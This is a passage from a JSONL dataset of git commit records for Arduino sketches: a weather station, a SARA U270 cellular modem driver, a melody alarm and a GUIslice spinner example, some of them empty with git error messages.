rainin += rainHour[i];\n\n \/\/Calc pressure\n pressure = myPressure.readPressure();\n\n \/\/Calc dewptf\n\n \/\/Calc light level\n light_lvl = get_light_level();\n\n \/\/Calc battery level\n batt_lvl = get_battery_level();\n \n}\n\n\/\/Returns the voltage of the light sensor based on the 3.3V rail\n\/\/This allows us to ignore what VCC might be (an Arduino plugged into USB has VCC of 4.5 to 5.2V)\nfloat get_light_level()\n{\n float operatingVoltage = analogRead(REFERENCE_3V3);\n\n float lightSensor = analogRead(LIGHT);\n \n operatingVoltage = 3.3 \/ operatingVoltage; \/\/The reference voltage is 3.3V\n \n lightSensor = operatingVoltage * lightSensor;\n \n return(lightSensor);\n}\n\n\/\/Returns the voltage of the raw pin based on the 3.3V rail\n\/\/This allows us to ignore what VCC might be (an Arduino plugged into USB has VCC of 4.5 to 5.2V)\n\/\/Battery level is connected to the RAW pin on Arduino and is fed through two 5% resistors:\n\/\/3.9K on the high side (R1), and 1K on the low side (R2)\nfloat get_battery_level()\n{\n float operatingVoltage = analogRead(REFERENCE_3V3);\n\n float rawVoltage = analogRead(BATT);\n \n operatingVoltage = 3.30 \/ operatingVoltage; \/\/The reference voltage is 3.3V\n \n rawVoltage = operatingVoltage * rawVoltage; \/\/Convert the 0 to 1023 int to actual voltage on BATT pin\n \n rawVoltage *= 4.90; \/\/(3.9k+1k)\/1k - multiple BATT voltage by the voltage divider to get actual system voltage\n \n return(rawVoltage);\n}\n\n\/\/Returns the instataneous wind speed\nfloat get_wind_speed()\n{\n float deltaTime = millis() - lastWindCheck; \/\/750ms\n\n deltaTime \/= 1000.0; \/\/Convert to seconds\n\n float windSpeed = (float)windClicks \/ deltaTime; \/\/3 \/ 0.750s = 4\n\n windClicks = 0; \/\/Reset and start watching for new wind\n lastWindCheck = millis();\n\n \/\/windSpeed *= 1.492; \/\/4 * 1.492 = 5.968MPH\n\n \/* Serial.println();\n Serial.print(\"Windspeed:\");\n Serial.println(windSpeed);*\/\n\n return(windSpeed);\n}\n\n\/\/Read the wind direction sensor, return heading in degrees\nint get_wind_direction() \n{\n unsigned int adc;\n\n adc = analogRead(WDIR); \/\/ get the current reading from the sensor\n\n \/\/ The following table is ADC readings for the wind direction sensor output, sorted from low to high.\n \/\/ Each threshold is the midpoint between adjacent headings. The output is degrees for that ADC reading.\n \/\/ Note that these are not in compass degree order! See Weather Meters datasheet for more information.\n\n if (adc < 380) return (113);\n if (adc < 393) return (68);\n if (adc < 414) return (90);\n if (adc < 456) return (158);\n if (adc < 508) return (135);\n if (adc < 551) return (203);\n if (adc < 615) return (180);\n if (adc < 680) return (23);\n if (adc < 746) return (45);\n if (adc < 801) return (248);\n if (adc < 833) return (225);\n if (adc < 878) return (338);\n if (adc < 913) return (0);\n if (adc < 940) return (293);\n if (adc < 967) return (315);\n if (adc < 990) return (270);\n return (-1); \/\/ error, disconnected?\n}\n\n\n\/\/Prints the various variables directly to the port\n\/\/I don't like the way this function is written but Arduino doesn't support floats under sprintf\nvoid printWeather()\n{\n calcWeather(); \/\/Go calc all the various sensors\n\n Serial.println();\n \/\/Serial.print(\"$,lon=\");\n Serial.print(gps.location.lng(), 6);\n Serial.print(\",\");\n Serial.print(gps.location.lat(), 6);\n Serial.print(\",\");\n Serial.print(gps.altitude.meters());\n Serial.print(\",\");\n Serial.print(gps.satellites.value());\n\n char sz[32];\n Serial.print(\",date=\");\n sprintf(sz, \"%02d-%02d-%02d\", gps.date.year(), gps.date.month(), gps.date.day());\n Serial.print(sz);\n\n Serial.print(\",time=\");\n sprintf(sz, \"%02d:%02d:%02d\", gps.time.hour(), gps.time.minute(), gps.time.second());\n Serial.print(sz);\n\n \/\/Serial.print(\",RTCdate=20\");\n Serial.print(\",\");\n sprintf(sz, \"%s\", getDateDs1307(0));\n Serial.print(sz); \n \/\/Serial.print(\",RTCtime=\");\n Serial.print(\",\");\n sprintf(sz, \"%s\", getDateDs1307(1));\n Serial.print(sz); \n\n Serial.print(\",\");\n Serial.print(winddir);\n Serial.print(\",\");\n Serial.print(windspeedms, 1);\n Serial.print(\",\");\n Serial.print(windgustms, 1);\n Serial.print(\",\");\n Serial.print(windgustdir);\n Serial.print(\",\");\n Serial.print(windspdms_avg2m, 1);\n Serial.print(\",\");\n Serial.print(winddir_avg2m);\n Serial.print(\",\");\n Serial.print(windgustms_10m, 1);\n Serial.print(\",\");\n Serial.print(windgustdir_10m);\n Serial.print(\",\");\n Serial.print(humidity, 1);\n Serial.print(\",\");\n Serial.print(tempf, 1);\n Serial.print(\",\");\n Serial.print(rainin, 2);\n Serial.print(\",\");\n Serial.print(dailyrainin, 2);\n Serial.print(\",\");\n Serial.print(Rainindi,1);\n Serial.print(\",\");\n Serial.print(Rainindinter);\n Serial.print(\",\");\n Serial.print(pressure, 2);\n Serial.print(\",\");\n Serial.print(batt_lvl, 2);\n Serial.print(\",\");\n Serial.print(light_lvl, 2);\n Serial.print(\",\");\n\n \/\/--------------------------\n \/\/PRINT TO LCD\n \/\/--------------------------\n\n lcd.clear();\n lcd.print(F(\"Lon:\"));\n lcd.print(gps.location.lng(), 6);\n lcd.setCursor(0, 2);\n lcd.print(F(\"Lat:\"));\n lcd.print(gps.location.lat(), 6);\n delay(5000);\n \n lcd.clear();\n sprintf(sz, \"%02d-%02d-%02d\", gps.date.year(), gps.date.month(), gps.date.day());\n lcd.print(sz);\n lcd.setCursor(0, 2);\n sprintf(sz, \"%02d:%02d:%02d\", gps.time.hour(), gps.time.minute(), gps.time.second());\n lcd.print(sz);\n lcd.print(F(\" GMT\"));\n delay(5000);\n \n lcd.clear();\n lcd.print(F(\"WD: \"));\n lcd.print(get_wind_direction());\n lcd.print(F(\" N=0 CW\"));\n lcd.setCursor(0, 2);\n lcd.print(F(\"WS:\"));\n lcd.print(get_wind_speed(), 1);\n lcd.print(F(\" m\/s\"));\n delay(5000);\n \n lcd.clear();\n lcd.print(F(\"H:\"));\n lcd.print(myHumidity.readHumidity(),2);\n lcd.print(F(\" %\"));\n lcd.setCursor(0, 2);\n lcd.print(F(\"T:\"));\n lcd.print(myPressure.readTemp(),2);\n lcd.print(F(\" C\"));\n delay(5000);\n \n \/\/Not enough dynamic memory in UNO\n lcd.clear();\n lcd.print(\"R:\");\n lcd.print(dailyrainin);\n lcd.print(\"(mm\/d)\");\n lcd.setCursor(0, 2);\n lcd.print(F(\"P:\"));\n lcd.print(myPressure.readPressure()\/100.0,2);\n lcd.print(F(\" hPa\"));\n delay(5000);\n\n \/\/Not enough dynamic memory in UNO\n lcd.clear();\n lcd.print(F(\"Battery Level\"));\n lcd.print(get_battery_level());\n lcd.clear();\n lcd.print(F(\"Sunlight\"));\n lcd.setCursor(0, 2);\n lcd.print(get_light_level());\n delay(2000);\n\n\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'mwsLRWHFv2\/mwsLRWHFv2.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"37c158423177621a3b610683bbc4c7a715dc55fe","subject":"initial commit","message":"initial commit\n","repos":"hellstad\/370gt-proto,hellstad\/370gt-proto","old_file":"sara_u270.ino","new_file":"sara_u270.ino","new_contents":"\/**\n * SARA U270\n * @author Kevin Tjiam <kevin@tjiam.com>\n *\/\n\n#include <stdint.h>\n#include <string.h>\n\n#define TRACE\n\n\/* Server addresses and shit *\/\n#define APN_TELSTRA \"telstra.internet\"\n#define BACKEND_SERVER_ADDRESS \"jsonplaceholder.typicode.com\"\n#define BACKEND_SERVER_PORT \"80\"\n\n\/* App return values *\/\n#define RESPONSE_OK 0\n#define RESPONSE_ERROR 1\n#define RESPONSE_TIMEOUT 2\n\n\/* AT parser FSM *\/\n#define AT_PARSER_TIMEOUT 5000\n#define AT_PARSER_OK 0\n#define AT_PARSER_ERROR 1\n#define AT_PARSER_BUSY 2\n#define AT_PARSER_READY 5\nstatic volatile uint32_t g_modem_parser_state = AT_PARSER_READY;\nstatic volatile uint32_t g_modem_has_network = false;\nstatic volatile uint32_t g_modem_has_internet = false;\n\n\/* Prototypes *\/\nuint32_t send_modem_command(const char *command);\n\nvoid set_modem_state(uint32_t state) {\n g_modem_parser_state = state;\n}\n\nbool is_modem_state(uint32_t state) {\n return g_modem_parser_state == state;\n}\n\nvoid network_ready() {\n if (g_modem_has_network && g_modem_has_internet) {\n \/\/ gets network info\n \/\/send_modem_command(\"AT+COPS?\");\n\n \/\/ gprs\n send_modem_command(\"AT+CGATT=1\"); \/* GSM & GPRS registration *\/\n delay(1000);\n \n send_modem_command(\"AT+UPSD=0,1,\\\"\" APN_TELSTRA \"\\\"\");\n \/\/send_modem_command(\"AT+UPSD=0,7,\\\"0.0.0.0\\\"\"); \/* set dynamic IP *\/\n \/\/send_modem_command(\"AT+UPSDA=0,1\"); \/* save profile to NVM *\/\n send_modem_command(\"AT+UPSDA=0,3\"); \/* activate connection *\/\n send_modem_command(\"AT+UPSND=0,8\"); \/* check status of connection *\/\n send_modem_command(\"AT+UPSND=0,0\"); \/* check assigned IP *\/\n\n \/\/ test HTTP GET\n send_modem_command(\"AT+UHTTP=0\");\n send_modem_command(\"AT+UHTTP=0,1,\\\"\" BACKEND_SERVER_ADDRESS \"\\\"\");\n send_modem_command(\"AT+UHTTP=0,5,\" BACKEND_SERVER_PORT);\n send_modem_command(\"AT+UHTTPC=0,1,\\\"\/posts\/1\\\",\\\"buffer_get\\\"\"); \/* must wait for +UUHTTPCR: 0,1,1 (HTTP GET success URC) *\/\n send_modem_command(\"AT+URDFILE=\\\"buffer_get\\\"\");\n }\n}\n\nvoid handle_modem_response(char *response, uint16_t response_length) {\n#ifdef TRACE\n if (strncmp(response, \"[Res]\", 5)) {\n SerialUSB.print(\"[Res]: \");\n for (int i=0; i<response_length; i++) {\n SerialUSB.print((char)response[i]);\n }\n SerialUSB.print(\"\\r\\n\");\n }\n#endif\n\n \/\/ Final response\n if (!strncmp(response, \"OK\", 2)) {\n set_modem_state(AT_PARSER_READY);\n } else if (!strncmp(response, \"ERROR\", 5) ||\n !strncmp(response, \"+CME ERROR\", 10) ||\n !strncmp(response, \"+CMS ERROR\", 10) ||\n !strncmp(response, \"ABORTED\", 7)) {\n set_modem_state(AT_PARSER_READY);\n }\n\n \/\/ URCs\n if (!strncmp(response, \"+CREG: 1\", 8)) {\n \/* Connected to home network *\/\n g_modem_has_network = true;\n network_ready();\n } else if (!strncmp(response, \"+UREG: 3\", 8) ||\n !strncmp(response, \"+UREG: 6\", 8) ||\n !strncmp(response, \"+UREG: 9\", 8)) {\n \/**\n * UREG URCs for Telstra\n * +UREG: 3 => WCDMA\/UMTS\n * +UREG: 6 => HSDPA\n * +UREG: 9 => GPRS\/EDGE\n *\/\n if (!g_modem_has_internet) {\n g_modem_has_internet = true;\n network_ready();\n }\n }\n}\n\nvoid flush_modem_responses() {\n while (Serial.available()) {\n uint8_t read_buffer[256];\n uint8_t read_buffer_length;\n\n \/\/ clear buffer\n memset(read_buffer, '\\0', 256);\n read_buffer_length = Serial.readBytesUntil('\\n', read_buffer, 255);\n\n handle_modem_response((char *)read_buffer, read_buffer_length);\n }\n}\n\nuint32_t send_modem_command(const char *command) {\n uint32_t err_code;\n\n delay(100);\n \/* Write command to UART *\/\n for (int i=0; i<strlen(command); i++) {\n Serial.print(command[i]);\n }\n Serial.print(\"\\r\\n\");\n\n \/* Block while parsing response from modem *\/\n set_modem_state(AT_PARSER_BUSY);\n uint32_t begin_systick = millis();\n do {\n delay(20);\n flush_modem_responses();\n } while (is_modem_state(AT_PARSER_BUSY) && (begin_systick - millis() < AT_PARSER_TIMEOUT));\n\n \/* Set return values *\/\n if (is_modem_state(AT_PARSER_BUSY)) {\n err_code = RESPONSE_TIMEOUT;\n } else {\n err_code = RESPONSE_OK;\n }\n\n \/* Make sure AT parser state is reset *\/\n set_modem_state(AT_PARSER_READY);\n\n return err_code;\n}\n\nuint32_t configure_modem() {\n uint32_t err_code;\n\n while (!Serial);\n Serial.begin(115200);\n Serial.setTimeout(5000);\n flush_modem_responses();\n\n \/\/ wakeup\n do {\n delay(1000);\n err_code = send_modem_command(\"AT\");\n } while (err_code != RESPONSE_OK);\n\n \/\/ reset factory settings\n send_modem_command(\"AT&F\");\n\n \/\/ echo off\n send_modem_command(\"ATE1\");\n\n \/\/ Check PIN ready\n send_modem_command(\"AT+CPIN?\");\n\n \/\/ Disable DTE flow control\n send_modem_command(\"AT&K0\");\n\n \/\/ Verbose errors\n send_modem_command(\"AT+CMEE=2\");\n\n \/\/ Set modem baud rate\n send_modem_command(\"AT+IPR=115200\");\n\n \/\/ Network registration\n \/\/send_modem_command(\"AT+URAT?\"); \/* +URAT: 1,2 is UMTS dual-mode *\/\n \/\/send_modem_command(\"AT+UBANDSEL?\"); \/* returns available bands *\/\n \n \/\/ Enable URCs.\n send_modem_command(\"AT+UREG=1\");\n send_modem_command(\"AT+CREG=1\");\n}\n\nvoid serialEvent() {\n flush_modem_responses();\n}\n\nvoid setup() {\n while (!SerialUSB);\n SerialUSB.begin(115200);\n configure_modem();\n}\n\nvoid loop() {\n \/\/\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"b622e849a8ab8b50d33241f045e00ba7b9765af3","subject":"we just read the following motors for homing \u2026","message":"we just read the following motors for homing \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/Commands.ino","new_file":"ArduinoClient\/Commands.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"f01847366ac1e53c58cc803ee917b2c47d727bcd","subject":"Basic melody sketch, added commentary to understand what each part is doing, and changed the tone to a more appropriate warning tone. No external communications ability yet.","message":"Basic melody sketch, added commentary to understand what each part is doing, and changed the tone to a more appropriate warning tone. No external communications ability yet.\n","repos":"drock371\/arduino-water-level-warning-system,drock371\/arduino-water-level-warning-system","old_file":"Alarm_Tone\/Alarm_Tone.ino","new_file":"Alarm_Tone\/Alarm_Tone.ino","new_contents":"\/* Play Melody\n * -----------\n *\n * Program to play melodies stored in an array, it requires to know\n * about timing issues and about how to play tones.\n *\n * The calculation of the tones is made following the mathematical\n * operation:\n *\n * timeHigh = 1\/(2 * toneFrequency) = period \/ 2\n *\n * where the different tones are described as in the table:\n *\n * note frequency period PW (timeHigh) \n * c 261 Hz 3830 1915 \n * d 294 Hz 3400 1700 \n * e 329 Hz 3038 1519 \n * f 349 Hz 2864 1432 \n * g 392 Hz 2550 1275 \n * a 440 Hz 2272 1136 \n * b 493 Hz 2028 1014 \n * C 523 Hz 1912 956\n *\n * (cleft) 2005 D. Cuartielles for K3\n *\/\n\nint ledPin = 13;\nint speakerOut = 9; \nbyte names[] = {'c', 'd', 'e', 'f', 'g', 'a', 'b', 'C'}; \nint tones[] = {1915, 1700, 1519, 1432, 1275, 1136, 1014, 956};\nbyte melody[] = \"9b6d9b6d9b6d9b6d\";\n\/\/ count length: 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0\n\/\/ 10 20 30\nint count = 0; \/\/Iterates through the notes in the playlist\nint count2 = 0; \/\/The counter that iterates through the names, looking for a match with the requested note\nint count3 = 0; \/\/Controls how long a \"beat\" is, via its for loop\nint MAX_COUNT = 8; \/\/How many notes are in the melody\nint statePin = LOW;\n\nvoid setup() {\n pinMode(ledPin, OUTPUT);\n \/\/Speaker is already set up by default as output\n}\n\nvoid loop() {\n analogWrite(speakerOut, 0); \/\/Ensure speaker starts off \n for (count = 0; count < MAX_COUNT; count++) { \/\/Iterates through the notes requested\n statePin = !statePin;\n digitalWrite(ledPin, statePin);\n for (count3 = 0; count3 <= (melody[count*2] - 48) * 30; count3++) { \/\/controls how long a note plays\n for (count2=0;count2<8;count2++) { \/\/Iterate through tones\n if (names[count2] == melody[count*2 + 1]) { \/\/if you find a tone that matches the tone requested \n analogWrite(speakerOut,255); \/\/pulse speaker accordingly (does not control volume well)\n delayMicroseconds(tones[count2]);\n analogWrite(speakerOut, 0);\n delayMicroseconds(tones[count2]); \/\/there is a timing issue here where higher notes are played slightly shorter\n } \n if (melody[count*2 + 1] == 'p') {\n \/\/ make a pause of a certain size\n analogWrite(speakerOut, 0);\n delayMicroseconds(500);\n }\n }\n }\n }\n}\n\n\/\/Code from http:\/\/www.arduino.cc\/en\/Tutorial\/PlayMelody\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"4246d0d78d954591d27514a407841893add5bc56","subject":"make example line up with book","message":"make example line up with book\n","repos":"chibitronics\/ltc-webview-layer,chibitronics\/ltc-webview-layer,chibitronics\/ltc-webview-layer,chibitronics\/ltc-webview-layer","old_file":"examples-ltc\/7. LoveToCodeVol1\/3_SetLevel\/SetLevel.ino","new_file":"examples-ltc\/7. LoveToCodeVol1\/3_SetLevel\/SetLevel.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples-ltc\/7.' did not match any file(s) known to git\nerror: pathspec 'LoveToCodeVol1\/3_SetLevel\/SetLevel.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"59f57e04e9aa698029d380a67011fb7cece2da3a","subject":"Initial ex32 using XSpinner","message":"Initial ex32 using XSpinner\n","repos":"ImpulseAdventure\/GUIslice,ImpulseAdventure\/GUIslice","old_file":"examples\/arduino\/ex32_ard_spinner\/ex32_ard_spinner.ino","new_file":"examples\/arduino\/ex32_ard_spinner\/ex32_ard_spinner.ino","new_contents":"\/\/\n\/\/ GUIslice Library Examples\n\/\/ - Calvin Hass\n\/\/ - https:\/\/www.impulseadventure.com\/elec\/guislice-gui.html\n\/\/ - https:\/\/github.com\/ImpulseAdventure\/GUIslice\n\/\/ - Example 32 (Arduino):\n\/\/ - Multiple page handling\n\/\/ - Background image\n\/\/ - XSpinner compound elements\n\/\/\n\/\/ - NOTE: The XSpinner compound element requires GSLC_FEATURE_COMPOUND enabled\n\/\/ - NOTE: This is the simple version of the example without\n\/\/ optimizing for memory consumption. Therefore, it may not\n\/\/ run on Arduino devices with limited memory. A \"minimal\"\n\/\/ version is located in the \"arduino_min\" folder which includes\n\/\/ FLASH memory optimization for reduced memory devices.\n\/\/\n\/\/ ARDUINO NOTES:\n\/\/ - GUIslice_config.h must be edited to match the pinout connections\n\/\/ between the Arduino CPU and the display controller (see ADAGFX_PIN_*).\n\/\/ - To support a larger number of GUI elements, it is recommended to\n\/\/ use a CPU that provides more than 2KB of SRAM (eg. ATmega2560).\n\/\/\n#include \"GUIslice.h\"\n#include \"GUIslice_drv.h\"\n\n\/\/ Ensure optional compound element feature is enabled in the configuration\n#if !(GSLC_FEATURE_COMPOUND)\n #error \"Config: GSLC_FEATURE_COMPOUND required for this example but not enabled. Please update GUIslice_config.\"\n#endif\n\n\/\/ Include any extended elements\n#include \"elem\/XGauge.h\"\n#include \"elem\/XSpinner.h\"\n\n\/\/ Defines for resources\n#define IMG_BKGND \"back1_24.bmp\"\n\n\/\/ Enumerations for pages, elements, fonts, images\nenum {E_PG_MAIN,E_PG_EXTRA};\nenum {E_ELEM_BTN_QUIT,E_ELEM_BTN_EXTRA,E_ELEM_BTN_BACK,\n E_ELEM_TXT_COUNT,E_ELEM_PROGRESS,\n E_ELEM_COMP1,E_ELEM_COMP2,E_ELEM_COMP3};\nenum {E_FONT_BTN,E_FONT_TXT,E_FONT_TITLE};\n\nbool m_bQuit = false;\n\n\/\/ Free-running counter for display\nunsigned m_nCount = 0;\n\n\/\/ Instantiate the GUI\n#define MAX_PAGE 2\n#define MAX_FONT 3\n\n\/\/ Define the maximum number of elements per page\n#define MAX_ELEM_PG_MAIN 9 \/\/ # Elems total on Main page\n#define MAX_ELEM_PG_EXTRA 7 \/\/ # Elems total on Extra page\n#define MAX_ELEM_PG_MAIN_RAM MAX_ELEM_PG_MAIN \/\/ # Elems in RAM\n#define MAX_ELEM_PG_EXTRA_RAM MAX_ELEM_PG_EXTRA \/\/ # Elems in RAM\n\ngslc_tsGui m_gui;\ngslc_tsDriver m_drv;\ngslc_tsFont m_asFont[MAX_FONT];\ngslc_tsPage m_asPage[MAX_PAGE];\ngslc_tsElem m_asMainElem[MAX_ELEM_PG_MAIN_RAM];\ngslc_tsElemRef m_asMainElemRef[MAX_ELEM_PG_MAIN];\ngslc_tsElem m_asExtraElem[MAX_ELEM_PG_EXTRA_RAM];\ngslc_tsElemRef m_asExtraElemRef[MAX_ELEM_PG_EXTRA];\n\ngslc_tsXGauge m_sXGauge;\ngslc_tsXSpinner m_sXSpinner[3];\n\n\n#define MAX_STR 8\n\n \/\/ Save some element pointers for quick access\n gslc_tsElemRef* m_pElemCnt = NULL;\n gslc_tsElemRef* m_pElemProgress = NULL;\n\n\/\/ Define debug message function\nstatic int16_t DebugOut(char ch) { Serial.write(ch); return 0; }\n\n\/\/ Button callbacks\n\/\/ - Show example of common callback function\nbool CbBtnCommon(void* pvGui,void *pvElemRef,gslc_teTouch eTouch,int16_t nX,int16_t nY)\n{\n gslc_tsElemRef* pElemRef = (gslc_tsElemRef*)(pvElemRef);\n gslc_tsElem* pElem = pElemRef->pElem;\n int16_t nElemId = pElem->nId;\n if (eTouch == GSLC_TOUCH_UP_IN) {\n if (nElemId == E_ELEM_BTN_QUIT) {\n m_bQuit = true;\n } else if (nElemId == E_ELEM_BTN_EXTRA) {\n gslc_SetPageCur(&m_gui,E_PG_EXTRA);\n } else if (nElemId == E_ELEM_BTN_BACK) {\n gslc_SetPageCur(&m_gui,E_PG_MAIN);\n }\n }\n return true;\n}\n\n\n\/\/ Create the default elements on each page\nbool InitOverlays()\n{\n gslc_tsElemRef* pElemRef = NULL;\n\n gslc_PageAdd(&m_gui,E_PG_MAIN,m_asMainElem,MAX_ELEM_PG_MAIN_RAM,m_asMainElemRef,MAX_ELEM_PG_MAIN);\n gslc_PageAdd(&m_gui,E_PG_EXTRA,m_asExtraElem,MAX_ELEM_PG_EXTRA_RAM,m_asExtraElemRef,MAX_ELEM_PG_EXTRA);\n\n \/\/ -----------------------------------\n \/\/ Background\n \/\/ - Background image from SD card disabled, uncomment to enable\n \/\/ - Ensure that GSLC_SD_EN is set to 1 in GUIslice_config.h\n \/\/static const char m_strImgBkgnd[] = IMG_BKGND;\n \/\/gslc_SetBkgndImage(&m_gui,gslc_GetImageFromSD(m_strImgBkgnd,GSLC_IMGREF_FMT_BMP24));\n\n \/\/ -----------------------------------\n \/\/ PAGE: MAIN\n\n \/\/ Create background box\n pElemRef = gslc_ElemCreateBox(&m_gui,GSLC_ID_AUTO,E_PG_MAIN,(gslc_tsRect){20,50,280,150});\n gslc_ElemSetCol(&m_gui,pElemRef,GSLC_COL_WHITE,GSLC_COL_BLACK,GSLC_COL_BLACK);\n\n \/\/ Create title\n pElemRef = gslc_ElemCreateTxt(&m_gui,GSLC_ID_AUTO,E_PG_MAIN,(gslc_tsRect){10,10,310,40},\n (char*)\"GUIslice Demo\",0,E_FONT_TITLE);\n gslc_ElemSetTxtAlign(&m_gui,pElemRef,GSLC_ALIGN_MID_MID);\n gslc_ElemSetFillEn(&m_gui,pElemRef,false);\n gslc_ElemSetTxtCol(&m_gui,pElemRef,GSLC_COL_WHITE);\n\n \/\/ Create Quit button with text label\n pElemRef = gslc_ElemCreateBtnTxt(&m_gui,E_ELEM_BTN_QUIT,E_PG_MAIN,\n (gslc_tsRect){100,140,50,20},(char*)\"Quit\",0,E_FONT_BTN,&CbBtnCommon);\n\n\n \/\/ Create Extra button with text label\n pElemRef = gslc_ElemCreateBtnTxt(&m_gui,E_ELEM_BTN_EXTRA,E_PG_MAIN,\n (gslc_tsRect){170,140,50,20},(char*)\"Extra\",0,E_FONT_BTN,&CbBtnCommon);\n\n \/\/ Create counter\n pElemRef = gslc_ElemCreateTxt(&m_gui,GSLC_ID_AUTO,E_PG_MAIN,(gslc_tsRect){40,60,50,10},\n (char*)\"Count:\",0,E_FONT_TXT);\n static char mstr1[8] = \"\";\n pElemRef = gslc_ElemCreateTxt(&m_gui,E_ELEM_TXT_COUNT,E_PG_MAIN,(gslc_tsRect){100,60,50,10},\n mstr1,sizeof(mstr1),E_FONT_TXT);\n gslc_ElemSetTxtCol(&m_gui,pElemRef,GSLC_COL_YELLOW);\n m_pElemCnt = pElemRef; \/\/ Save for quick access\n\n\n \/\/ Create progress bar\n pElemRef = gslc_ElemCreateTxt(&m_gui,GSLC_ID_AUTO,E_PG_MAIN,(gslc_tsRect){40,80,50,10},\n (char*)\"Progress:\",0,E_FONT_TXT);\n pElemRef = gslc_ElemXGaugeCreate(&m_gui,E_ELEM_PROGRESS,E_PG_MAIN,&m_sXGauge,(gslc_tsRect){100,80,50,10},\n 0,100,0,GSLC_COL_GREEN,false);\n m_pElemProgress = pElemRef; \/\/ Save for quick access\n\n\n \/\/ Add compound element\n pElemRef = gslc_ElemXSpinnerCreate(&m_gui,E_ELEM_COMP1,E_PG_MAIN,&m_sXSpinner[0],\n (gslc_tsRect){160,60,120,50},E_FONT_BTN);\n\n \/\/ -----------------------------------\n \/\/ PAGE: EXTRA\n\n \/\/ Create background box\n pElemRef = gslc_ElemCreateBox(&m_gui,GSLC_ID_AUTO,E_PG_EXTRA,(gslc_tsRect){40,40,240,160});\n gslc_ElemSetCol(&m_gui,pElemRef,GSLC_COL_WHITE,GSLC_COL_BLACK,GSLC_COL_BLACK);\n\n \/\/ Create Back button with text label\n pElemRef = gslc_ElemCreateBtnTxt(&m_gui,E_ELEM_BTN_BACK,E_PG_EXTRA,\n (gslc_tsRect){50,170,50,20},(char*)\"Back\",0,E_FONT_BTN,&CbBtnCommon);\n\n\n \/\/ Create a few labels\n int16_t nPosY = 50;\n int16_t nSpaceY = 20;\n pElemRef = gslc_ElemCreateTxt(&m_gui,GSLC_ID_AUTO,E_PG_EXTRA,(gslc_tsRect){60,nPosY,50,10},\n (char*)\"Data 1\",0,E_FONT_TXT); nPosY += nSpaceY;\n pElemRef = gslc_ElemCreateTxt(&m_gui,GSLC_ID_AUTO,E_PG_EXTRA,(gslc_tsRect){60,nPosY,50,10},\n (char*)\"Data 2\",0,E_FONT_TXT); nPosY += nSpaceY;\n pElemRef = gslc_ElemCreateTxt(&m_gui,GSLC_ID_AUTO,E_PG_EXTRA,(gslc_tsRect){60,nPosY,50,10},\n (char*)\"Data 3\",0,E_FONT_TXT); nPosY += nSpaceY;\n\n \/\/ Add compound element\n pElemRef = gslc_ElemXSpinnerCreate(&m_gui,E_ELEM_COMP2,E_PG_EXTRA,&m_sXSpinner[1],\n (gslc_tsRect){130,60,120,50},E_FONT_BTN);\n\n pElemRef = gslc_ElemXSpinnerCreate(&m_gui,E_ELEM_COMP3,E_PG_EXTRA,&m_sXSpinner[2],\n (gslc_tsRect){130,120,120,50},E_FONT_BTN);\n\n\n return true;\n}\n\n\nvoid setup()\n{\n \/\/ Initialize debug output\n Serial.begin(9600);\n gslc_InitDebug(&DebugOut);\n \/\/delay(1000); \/\/ NOTE: Some devices require a delay after Serial.begin() before serial port can be used\n\n \/\/ Initialize\n if (!gslc_Init(&m_gui,&m_drv,m_asPage,MAX_PAGE,m_asFont,MAX_FONT)) { return; }\n\n \/\/ Load Fonts\n if (!gslc_FontAdd(&m_gui,E_FONT_BTN,GSLC_FONTREF_PTR,NULL,1)) { return; }\n if (!gslc_FontAdd(&m_gui,E_FONT_TXT,GSLC_FONTREF_PTR,NULL,1)) { return; }\n if (!gslc_FontAdd(&m_gui,E_FONT_TITLE,GSLC_FONTREF_PTR,NULL,1)) { return; }\n\n \/\/ Create page elements\n InitOverlays();\n\n \/\/ Start up display on main page\n gslc_SetPageCur(&m_gui,E_PG_MAIN);\n\n m_bQuit = false;\n}\n\nvoid loop()\n{\n char acTxt[MAX_STR];\n\n \/\/ Save some element references for easy access\n gslc_tsElemRef* pElemCnt = gslc_PageFindElemById(&m_gui,E_PG_MAIN,E_ELEM_TXT_COUNT);\n gslc_tsElemRef* pElemProgress = gslc_PageFindElemById(&m_gui,E_PG_MAIN,E_ELEM_PROGRESS);\n\n m_nCount++;\n\n \/\/ Perform drawing updates\n \/\/ - Note: we can make the updates conditional on the active\n \/\/ page by checking gslc_GetPageCur() first.\n\n snprintf(acTxt,MAX_STR,\"%u\",m_nCount);\n gslc_ElemSetTxtStr(&m_gui,pElemCnt,acTxt);\n\n gslc_ElemXGaugeUpdate(&m_gui,pElemProgress,((m_nCount\/2)%100));\n\n \/\/ Periodically call GUIslice update function\n gslc_Update(&m_gui);\n\n \/\/ Slow down updates\n delay(100);\n\n \/\/ In a real program, we would detect the button press and take an action.\n \/\/ For this Arduino demo, we will pretend to exit by emulating it with an\n \/\/ infinite loop. Note that interrupts are not disabled so that any debug\n \/\/ messages via Serial have an opportunity to be transmitted.\n if (m_bQuit) {\n gslc_Quit(&m_gui);\n while (1) { }\n }\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/arduino\/ex32_ard_spinner\/ex32_ard_spinner.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8cd60946fe089f2bc84c925687ec44e6418486fa","subject":"Fixed int-problem in arduino-code","message":"Fixed int-problem in 